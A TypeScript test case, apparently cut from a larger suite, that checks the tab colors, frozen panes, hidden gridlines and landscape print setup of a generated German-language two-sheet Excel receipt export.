test("LAYOUT-1: Freeze Panes, Tab Colors, Gridlines and Page Setup adhere to design contract", async () => {
|
|
const buffer = await generateDualSheetExcel([createMockReceipt()], { locale: "de" });
|
|
const wb = await parseExcelBuffer(buffer);
|
|
|
|
const sheet1 = wb.getWorksheet("Belegübersicht")!;
|
|
const sheet2 = wb.getWorksheet("Einzelpositionen Detail")!;
|
|
|
|
// Tab colors
|
|
expect(sheet1.properties.tabColor?.argb).toBe("FF1E293B");
|
|
expect(sheet2.properties.tabColor?.argb).toBe("FF0F766E");
|
|
|
|
// Views (frozen panes)
|
|
const view1 = sheet1.views[0] as any;
|
|
expect(view1.state).toBe("frozen");
|
|
expect(view1.xSplit).toBe(3);
|
|
expect(view1.ySplit).toBe(1);
|
|
expect(view1.showGridLines).toBe(false);
|
|
|
|
const view2 = sheet2.views[0] as any;
|
|
expect(view2.state).toBe("frozen");
|
|
expect(view2.xSplit).toBe(3);
|
|
expect(view2.ySplit).toBe(1);
|
|
expect(view2.showGridLines).toBe(false);
|
|
|
|
// Page setup: landscape, fit to 1 page wide
|
|
expect(sheet1.pageSetup.orientation).toBe("landscape");
|
|
expect(sheet1.pageSetup.fitToWidth).toBe(1);
|
|
expect(sheet1.pageSetup.fitToHeight).toBe(0);
|
|
expect(sheet1.pageSetup.printTitlesRow).toBe("1:1");
|
|
});
|
|
});
|